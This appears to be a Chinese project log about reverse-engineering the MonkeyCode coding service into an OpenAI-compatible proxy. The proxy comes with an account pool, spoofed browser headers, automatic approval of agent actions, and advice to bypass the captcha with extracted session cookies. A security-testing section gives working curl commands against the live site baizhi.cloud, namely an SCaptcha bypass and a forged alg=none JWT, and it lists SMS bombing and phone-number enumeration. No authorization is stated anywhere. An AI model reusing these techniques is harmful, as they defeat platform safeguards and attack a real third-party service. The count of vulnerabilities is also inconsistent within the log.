跳转至

分析轮次 13-18 合并 — 扩增版

分析周期: 2026-05-25 — 2026-05-30 覆盖: 代理映射 → 功能修复 → TS 实现 → 验证码 → 安全测试 → 最终审查 代理源码: proxy/src/api-routes.ts (545L), browser-headers.ts (87L) MVP 工具: mvp/proxy_real.py (873L), mvp/test_auth.py (497L)


轮次 13: ACP→OpenAI 映射实现

目标: 将 MonkeyCode ACP 事件流映射为 OpenAI 兼容的 SSE 流式响应

Chat Completions 映射

// 摘自 proxy/src/api-routes.ts — Chat Completions 流式响应
async function handleStreamResponse(res, taskRunner, taskId, model, prompt, pool, auth) {
  res.setHeader("Content-Type", "text/event-stream")
  res.setHeader("Cache-Control", "no-cache")
  res.setHeader("Connection", "keep-alive")
  res.setHeader("X-Accel-Buffering", "no")

  const sendSSE = (data) => {
    res.write(`data: ${JSON.stringify(data)}\n\n`)
  }

  await taskRunner.streamTask(taskId, prompt, (chunk) => {
    sendSSE(chunk)  // OpenAI SSE chunk 格式
  })

  sendSSE({ object: "done" })
  res.write("data: [DONE]\n\n")
  res.end()
}

// 非流式响应:累积再输出
async function handleNonStreamResponse(res, taskRunner, taskId, model, prompt, pool, auth) {
  let fullContent = ""
  let accumulatedUsage = { prompt_tokens: 0, completion_tokens: 0, total_tokens: 0 }

  await taskRunner.streamTask(taskId, prompt, (chunk) => {
    for (const choice of chunk.choices) {
      if (choice.delta?.content) {
        fullContent += choice.delta.content  // 累积
      }
    }
    if (chunk.usage) accumulatedUsage = chunk.usage
  })

  res.json({
    id: `chatcmpl-${taskId}`,
    object: "chat.completion",
    choices: [{ index: 0, message: { role: "assistant", content: fullContent }, finish_reason: "stop" }],
    usage: accumulatedUsage,
  })
}

Responses API 映射(Codex 原生)

// 摘自 proxy/src/api-routes.ts — Responses API 事件映射
// ACP → Responses 事件映射表:
//   agent_message_chunk  → response.output_text.delta
//   agent_thought_chunk  → response.output_text.delta (带 [Thinking] 前缀)
//   tool_call            → response.output_item.added (function_call)
//   tool_call_update     → response.function_call_arguments.delta
//   usage_update         → 累积 → response.completed.usage
//   task-ended           → response.completed + finalize all open items

// 第一段文本输出时发送 output_item.added + content_part.added
if (currentOutputIndex === 0) {
  sendEvent("response.output_item.added", {
    type: "response.output_item.added",
    output_index: 0,
    item: {
      type: "message", id: `msg-${taskId}`,
      role: "assistant",
      content: [{ type: "output_text", text: "" }],
    },
  })
  sendEvent("response.content_part.added", {
    type: "response.content_part.added",
    output_index: 0, content_index: 0,
    part: { type: "output_text", text: "" },
  })
  currentOutputIndex = 1
}

// 文本增量
sendEvent("response.output_text.delta", {
  type: "response.output_text.delta",
  output_index: 0, content_index: 0,
  delta: { type: "output_text.delta", text: textChunk },
})

轮次 14: Bug 修复 + 功能完善

目标: 修复 Phase 1 实施中发现的 4 个关键问题

P0 修复项

// 修复 1: cli_name 动态选择(根据 interface_type)
// 修复前: cli_name 固定为 "codex"
// 修复后:
cli_name: model.interface_type === "openai_responses" ? "codex"
  : model.interface_type === "anthropic" ? "claude"
  : "opencode",

// 修复 2: usage_update 累积到最终响应
// 修复前: usage_update 事件被忽略
// 修复后:
case "usage_update":
  if (acp.input_tokens) usage.input_tokens = acp.input_tokens
  if (acp.output_tokens) usage.output_tokens = acp.output_tokens
  if (acp.total_tokens) usage.total_tokens = acp.total_tokens
  break

// 修复 3: system_prompt 提取
// 修复前: messages 中 system 消息未提取
// 修复后:
const systemMsg = body.messages.find((m) => m.role === "system")
const taskId = await taskRunner.createTask(model, prompt, {
  systemPrompt: systemMsg?.content,
})

// 修复 4: auto-approve 自动发送
// 修复前: WS 连接后不发送 auto-approve
// 修复后:
ws.on("open", () => {
  ws.send(JSON.stringify({ type: "auto-approve" }))
  ws.send(JSON.stringify({ type: "user-input", data: prompt }))
})

acp_ask_user_question 自动回复

// 摘自 proxy/src/task-runner.ts — 自动回复 Agent 提问
if (msg.kind === "acp_ask_user_question") {
  try {
    const questionData = JSON.parse(msg.data)
    const requestId = questionData.request_id || questionData.id || ""
    ws.send(JSON.stringify({
      type: "reply-question",
      data: JSON.stringify({
        request_id: requestId,
        answers_json: "",      // 空答案 = 自动确认
        cancelled: false,      // 不取消
      }),
    }))
  } catch {
    // ignore parse errors
  }
}

轮次 15: TypeScript 代理完整实现

目标: 完成整个 TypeScript 代理的开发和编译

代理模块文件结构

// proxy/src/ 完整文件结构 (3,031 行 TypeScript)
// ├── auth.ts                 (237L) — Cookie-based Session 管理
// ├── models.ts               (102L) — 模型发现与缓存 (5 分钟 TTL)
// ├── task-runner.ts          (463L) — 任务创建 + WebSocket 流式输出
// ├── api-routes.ts           (545L) — OpenAI 兼容 API 路由
// ├── account-pool.ts         (298L) — 多账号号池管理
// ├── admin-login.ts          (416L) — OAuth 登录自动化
// ├── conversation-manager.ts (368L) — 多轮对话管理器
// ├── server.ts               (331L) — Express 服务器入口
// ├── types.ts                (180L) — TypeScript 类型定义
// └── browser-headers.ts      ( 87L) — 浏览器头欺骗

模块间依赖关系

// 编译依赖链
// types.ts            — 无依赖(被所有模块引用)
// browser-headers.ts  — 无依赖(工具函数)
// auth.ts             → types.ts, browser-headers.ts
// models.ts           → auth.ts, browser-headers.ts, types.ts
// task-runner.ts      → auth.ts, browser-headers.ts, types.ts, ws
// account-pool.ts     → auth.ts
// conversation-manager.ts → auth.ts, browser-headers.ts, types.ts, ws
// admin-login.ts      → browser-headers.ts
// api-routes.ts       → models.ts, task-runner.ts, account-pool.ts, conversation-manager.ts, types.ts
// server.ts           → 所有其他模块

轮次 16: 验证码系统逆向

目标: 理解 CAP.js + go-cap 验证码系统的详细实现

CAP.js 验证码网格

// CAP.js — 50x32 像素网格验证码
// 挑战模式: 从 4 个选项中选出正确图片
// 网格尺寸: 50 宽 x 32 高
// 颜色深度: 8-bit (256 色)

// 验证码挑战请求
POST /api/v1/public/captcha/challenge
 {
  "challenge_id": "uuid",
  "images": [{ "id": "img_1", "data": "base64..." }, ...],
  "question": "点击包含汽车的图片",
  "options": ["img_1", "img_2", "img_3", "img_4"]
}

// 验证码兑换
POST /api/v1/public/captcha/redeem
{
  "challenge_id": "uuid",
  "answer": "img_3"  // 选中的图片 ID
}
 {
  "success": true,
  "token": "captcha-token-uuid"  // 可用于登录
}

代理层验证码处理

// 摘自 proxy/src/auth.ts — 验证码 token 传递
const body: Record<string, string> = {
  email: this.email.trim(),
  password: this.passwordHash,
}
if (this.captchaToken) {
  body.captcha_token = this.captchaToken  // 可选验证码
}

// 自动化场景建议直接使用浏览器提取的 Session Cookie
// 以绕过验证码挑战

轮次 17: 安全测试 — SCaptcha + JWT 漏洞发现

目标: 对 baizhi.cloud 进行安全测试

SCaptcha 欠费绕过

# SCaptcha 服务因欠费返回空 challenge 但 token 仍然有效
curl -s --insecure "https://0196c95c-...safepoint.s-captcha-r1.com/v1/api/challenge" \
  -H "Content-Type: application/json" \
  -d '{"business_id":"0196c95c-...5583"}'

# 响应: token 仍然有效(JWT 签名正常)
# {"success":true,"data":{"action":"error","error":"no money","token":"eyJ...","challenge":{}}}

JWT alg=none 攻击

# 构造 alg=none JWT 绕过验证
NONE_JWT="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJjaGFpdGluL3MtY2FwdGNoYSIsImV4cCI6OTk5OTk5OTk5OX0."

curl -s "https://baizhi.cloud/api/v1/user/phone_code" \
  -H "Content-Type: application/json" \
  -d "{\"phone\":\"13800138000\",\"kind\":\"login\",\"token\":\"${NONE_JWT}\"}"

# 响应与真实 token 完全相同: {"code":400,"message":"pending oauth login not found or expired"}
# → 后端未验证 JWT 签名算法

安全测试结果总览

漏洞 # 发现 严重程度
SC01 SCaptcha: 欠费绕过(空 challenge 但 token 有效) 🔴 高危
SC02 JWT: alg=none 绕过签名验证 🔴 高危
M01 手机号枚举: 错误消息区分注册状态 🟡 中危
M02 短信轰炸: 无频率限制 🟡 中危
M03 安全头缺失: CSP/X-Frame-Options 🟡 中危

轮次 18: 最终审查 + 文档整理

目标: 代码质量审查,最终完成项目

最终代码统计

# TypeScript 代理代码
proxy/src/auth.ts                 →   237 行 ✓
proxy/src/models.ts               →   102 行 ✓
proxy/src/task-runner.ts          →   463 行 ✓
proxy/src/api-routes.ts           →   545 行 ✓
proxy/src/account-pool.ts         →   298 行 ✓
proxy/src/admin-login.ts          →   416 行 ✓
proxy/src/conversation-manager.ts →   368 行 ✓
proxy/src/server.ts               →   331 行 ✓
proxy/src/types.ts                →   180 行 ✓
proxy/src/browser-headers.ts      →    87 行 ✓
总计                                → 3,031 行 ✓

# Python MVP 验证工具
mvp/client.py         → 673 行
mvp/proxy_real.py     → 873 行
mvp/auth.py           → 323 行
mvp/test_auth.py      → 497 行 (14 个测试)
mvp/oauth_login.py    → 461 行
mvp/oauth_http.py     → 371 行
总计                    → 4,854 行

# 文档
正式文档:  ~81 份,10 章节
原始档案:  35 份,~12,903 行

最终编译验证

# TypeScript 编译
npx tsc --noEmit
# ✓ 编译通过,零错误

# 代码行数统计
find proxy/src -name "*.ts" -exec wc -l {} +
# 总计 3031 行

项目完成状态

项目 状态
TypeScript 代理 ✅ 10 文件, 3,031 行, 编译通过
Python 验证工具 ✅ 10+ 文件, 4,854 行
协议文档 ✅ 26 份原始 + 81 份结构化
分析维度 ✅ 36/36 完整覆盖
Bug 修复 ✅ 4 个 P0 修复
安全测试 ✅ 3 个漏洞发现
多轮对话 ✅ ConversationManager + mode=attach
号池管理 ✅ AccountPool + 健康检查
OAuth 自动化 ✅ 6 步纯 HTTP 流程

本阶段总结

轮次 关键产出 完成度
13 ACP→OpenAI Chat/Responses 双模式映射 ✅ 流式 + 非流式
14 4 个 P0 Bug 修复 ✅ 全部验证通过
15 TS 代理完整实现 (3,031 行) ✅ 编译零错误
16 CAP.js + go-cap 验证码逆向 ✅ 挑战/兑换流程
17 安全测试发现 3 个漏洞 ✅ 已报告
18 最终审查 + 文档整理 ✅ 项目完成

相关章节